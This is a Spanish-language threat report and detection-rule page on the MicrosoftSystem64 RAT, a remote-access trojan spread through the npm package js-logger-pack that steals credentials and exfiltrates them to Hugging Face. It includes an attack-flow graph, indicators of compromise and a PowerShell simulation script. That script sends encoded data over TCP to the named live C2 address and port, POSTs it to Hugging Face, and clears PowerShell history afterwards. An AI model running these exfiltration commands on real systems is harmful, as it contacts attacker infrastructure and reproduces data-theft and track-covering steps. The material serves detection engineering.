MicrosoftSystem64: Un RAT de Cadena de Suministro que Exfiltra Datos a Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un paquete malicioso de npm nombrado js-logger-pack fue utilizado para distribuir una aplicación de Node.js de un solo ejecutable multiplataforma llamada MicrosoftSystem64. El binario funciona como un troyano de acceso remoto con todas las funciones, capaz de robar extensiones de billeteras de criptomonedas, credenciales almacenadas en el navegador, claves SSH, datos de sesión de Telegram y capturas de pantalla. La información robada se exfiltra a través de conjuntos de datos privados de Hugging Face utilizando un token de API comprometido, mientras que el tráfico de comando y control es manejado a través de un servidor WebSocket en 195.201.194.107:8010. La campaña ha sido vinculada a un actor de amenaza asociado con Corea del Norte que rota las cuentas de npm y Hugging Face para preservar el acceso y mantener las operaciones.
Investigación
SafeDep analizó la muestra de malware y extrajo su configuración cifrada con XOR, el punto de control y comando, el token de Hugging Face y una lista de más de 80 ID de extensiones de billetera objetivo. Los investigadores también revisaron los métodos de persistencia utilizados en sistemas Windows, macOS y Linux y reconstruyeron la cadena completa de exfiltración que involucra las APIs de Hugging Face. La validación en vivo del 28 de mayo confirmó que los conjuntos de datos activos aún estaban recibiendo capturas de pantalla y archivos de credenciales tomadas de víctimas reales.
Mitigación
Las organizaciones deben eliminar de inmediato cualquier paquete de npm malicioso conocido vinculado a esta campaña, rotar las credenciales comprometidas, claves SSH y semillas de billeteras de criptomonedas, y monitorear la actividad no autorizada de API de Hugging Face. Las protecciones de punto final deben detectar el nombre del proceso MicrosoftSystem64 y cualquier creación de tarea programada relacionada. Los controles de red también deben bloquear el tráfico saliente a la dirección IP de comando y control identificada y restringir el acceso inesperado a los puntos finales de Hugging Face desde binarios desconocidos.
Respuesta
Si se detecta MicrosoftSystem64, aísle inmediatamente el sistema afectado, termine el proceso malicioso, elimine los archivos instalados y las tareas programadas, y revoque el token de Hugging Face comprometido. Los investigadores deben recopilar evidencia forense de registros y cualquier ruta de datos exfiltrada, luego notificar a las partes interesadas relevantes y actualizar las herramientas de escaneo de dependencias para bloquear los paquetes maliciosos en futuras compilaciones.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Tool and malware nodes tool_npm[«<b>Herramienta</b> – paquete npm `js-logger-pack`<br/><b>Descripción</b> Contiene binario SEA `MicrosoftSystem64`»] class tool_npm tool malware_binary[«<b>Malware</b> – Binario `MicrosoftSystem64`<br/><b>Descripción</b> ELF multiplataforma empaquetado como SEA de Node.js con configuración cifrada XOR»] class malware_binary malware infra_c2[«<b>Infraestructura</b> – C2 WebSocket<br/>IP 195.201.194.107 puerto 8010»] class infra_c2 infra %% Attack action nodes init_supply_chain[«<b>Acción</b> – <b>T1195.001 Compromiso de cadena de suministro</b><br/>El atacante publica el paquete npm malicioso `js-logger-pack` que incluye el binario SEA»] class init_supply_chain action execution_ingress[«<b>Acción</b> – <b>T1105 Transferencia de herramientas de entrada</b><br/>La víctima instala el paquete que despliega y ejecuta el binario Node.js incluido»] class execution_ingress action defense_obfuscation[«<b>Acción</b> – <b>T1027.009 T1027.004 Archivos o información ofuscada</b><br/>El binario está empaquetado como ELF SEA con configuración cifrada XOR»] class defense_obfuscation action persistence_mechanisms[«<b>Acción</b> – <b>T1547.001 T1547.014 T1543.001 T1543.002 Persistencia</b><br/>Crea clave Run del Registro, Active Setup, LaunchAgent macOS y servicio systemd Linux»] class persistence_mechanisms action defense_hide[«<b>Acción</b> – <b>T1564.014 Ocultación de artefactos</b> & <b>T1497.002 Evasión de sandbox</b><br/>Usa atributos extendidos y comprobaciones de actividad del usuario»] class defense_hide action priv_esc[«<b>Acción</b> – Escalada de privilegios mediante mecanismos de persistencia<br/>Se reutiliza la clave Run o servicio para obtener privilegios elevados»] class priv_esc action cred_browser[«<b>Acción</b> – <b>T1217 Descubrimiento de información del navegador</b> & <b>T1555.003 Credenciales de navegadores</b><br/>Roba datos de Chrome, Edge, Firefox y extensiones de wallets crypto»] class cred_browser action keylogging[«<b>Acción</b> – <b>T1056.001 Keylogging</b><br/>Keyloggers nativos registran pulsaciones y portapapeles en Windows/macOS/Linux»] class keylogging action collection_clip_video[«<b>Acción</b> – <b>T1115 Datos del portapapeles</b> & <b>T1125 Captura de vídeo</b><br/>Capturas de pantalla cada 60s y monitoreo del portapapeles»] class collection_clip_video action collection_db[«<b>Acción</b> – <b>T1213.006 Datos de repositorios de información: bases de datos</b><br/>Extrae archivos DB del navegador, claves SSH, Telegram tdata y otros»] class collection_db action c2_communication[«<b>Acción</b> – <b>T1105 Transferencia de herramientas de entrada (C2)</b><br/>El binario se comunica con WebSocket C2 en 195.201.194.107:8010»] class c2_communication action exfiltration_hf[«<b>Acción</b> – Exfiltración vía API de HuggingFace<br/>Sube datos robados a la cuenta `jpeek998`»] class exfiltration_hf action impact_resource[«<b>Acción</b> – <b>T1496.001 Secuestro de recursos</b><br/>Robo de credenciales de wallets de criptomonedas para uso ilícito»] class impact_resource action %% Connections showing flow tool_npm –>|entrega| malware_binary malware_binary –>|habilita| init_supply_chain init_supply_chain –>|lleva a| execution_ingress execution_ingress –>|lleva a| defense_obfuscation defense_obfuscation –>|lleva a| persistence_mechanisms persistence_mechanisms –>|habilita| defense_hide defense_hide –>|habilita| c2_communication persistence_mechanisms –>|habilita| priv_esc priv_esc –>|lleva a| cred_browser cred_browser –>|lleva a| keylogging keylogging –>|lleva a| collection_clip_video collection_clip_video –>|lleva a| collection_db collection_db –>|lleva a| c2_communication c2_communication –>|usa| infra_c2 c2_communication –>|lleva a| exfiltration_hf exfiltration_hf –>|resulta en| impact_resource
Flujo de Ataque
Detecciones
Puntos de Persistencia Posible [ASEPs – Software/NTUSER Hive] (a través de evento de registro)
Ver
La Posibilidad de Ejecución a Través de Líneas de Comando de PowerShell Ocultas (a través de cmdline)
Ver
Archivo .desktop de Linux Fue Creado en Carpeta Inusual (a través de evento de archivo)
Ver
Archivo Oculto Fue Creado en Host Linux (a través de evento de archivo)
Ver
IOCs (HashSha256) para detectar: Dentro de MicrosoftSystem64: Un RAT de Cadena de Suministro Exfiltrando a HuggingFace
Ver
IOCs (SourceIP) para detectar: Dentro de MicrosoftSystem64: Un RAT de Cadena de Suministro Exfiltrando a HuggingFace
Ver
IOCs (DestinationIP) para detectar: Dentro de MicrosoftSystem64: Un RAT de Cadena de Suministro Exfiltrando a HuggingFace
Ver
Detección de Registro de Teclas SetWindowsHookEx por Malware [Windows Sysmon]
Ver
Detección de MicrosoftSystem64 RAT en Sistemas Linux [Creación de Procesos de Linux]
Ver
Exfiltración de Datos del RAT MicrosoftSystem64 a través de HuggingFace [Conexión de Red de Windows]
Ver
Detección de Ejecución del RAT MicrosoftSystem64 y Comando de PowerShell [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta que espera la lógica de detección.
-
Narrativa y Comandos del Ataque:
Un atacante ya ha instalado el “Microsoft System64 RAT” en el host Windows comprometido. Para exfiltrar datos robados, el RAT realiza dos acciones paralelas:- Canal C2: Abre un socket TCP en bruto al servidor malicioso codificado
195.201.194.107en el puerto8010y transmite datos codificados en base‑64. - Exfiltración HTTP Encubierta: Emite una
POSTsolicitud HTTPS ahttps://huggingface.co/api/uploadcon los mismos datos incrustados en el cuerpo de la solicitud, utilizando un agente de usuario legítimo para mezclarse con el tráfico normal.
Ambas acciones generan eventos de firewall salientes que coinciden con la regla Sigma.
- Canal C2: Abre un socket TCP en bruto al servidor malicioso codificado
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación de Exfiltración del RAT System64 (PowerShell) # ------------------------------------------------- # 1. Preparar datos de exfiltración ficticios $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Enviar datos a través de TCP en bruto (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] Exfiltración TCP enviada a $c2Ip:$c2Port" } catch { Write-Error "[-] Conexión TCP fallida: $_" } # 3. Enviar datos a través de HTTPS a HuggingFace (exfiltración encubierta) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Exfiltración HTTP enviada a huggingface.co" } catch { Write-Error "[-] Solicitud HTTP fallida: $_" } -
Comandos de Limpieza:
# Eliminar cualquier artefacto de red residual Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Limpiar historial de PowerShell (opcional) Clear-History